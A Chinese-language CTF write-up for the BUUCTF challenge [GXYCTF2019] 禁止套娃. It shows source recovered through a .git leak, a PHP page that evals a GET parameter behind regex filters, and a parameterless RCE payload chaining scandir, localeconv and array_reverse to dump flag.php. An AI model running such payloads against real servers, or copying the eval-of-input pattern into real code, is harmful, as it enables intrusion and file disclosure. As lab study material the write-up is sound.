1. 程式人生 > 實用技巧 >BUUCTF-[GXYCTF2019]禁止套娃

BUUCTF-[GXYCTF2019]禁止套娃

考點:.git洩露、無引數RCE
wscan掃到了/.git目錄

利用GitHack下載到原始碼

index.php:

<?php
include "flag.php";
echo "flag在哪裡呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("還差一點哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("還想讀flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

分析原始碼得出:
1、flag在flag.php
2、GET傳參exp
3、過濾了data://、filter://、php://、phar://這些偽協議,就不能用偽協議讀flag.php
4、preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])
用preg_replace()替換匹配到的字元為NULL空。
參考:無引數讀檔案和RCE總結

關於(?R)?

(?R)?菜雞在這裡糾結了很長時間,還是理解不了
傳入的exp引數只能包含小寫字母、,、_、(),還要以;結尾
5、過濾了一些函式,像et,file_get_contents()就不能用

無引數RCE要用到的幾個函式:

  • print_r(scandir('.'));檢視當前目錄下的所有檔名
  • localeconv() 函式返回一包含本地數字及貨幣格式資訊的陣列。
  • current() 函式返回陣列中的當前元素(單元),預設取第一個值,和pos()一樣

先檢視當前目錄下的所有檔名,但是這題不能有引數,找一個代替'.'的東西

print_r(scandir(current(localeconv())));打印出當前目錄下檔案

?exp=print_r(scandir(current(localeconv())));

flag.php在倒數第二個,直接用next(array_reverse());
paylaod:?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

解題參考:
https://www.gem-love.com/ctf/530.html
https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/
http://www.lovexyu.xyz/art.php?art_id=58
https://www.suk1.top/2020/02/05/GXY套娃/#array-rand-array-flip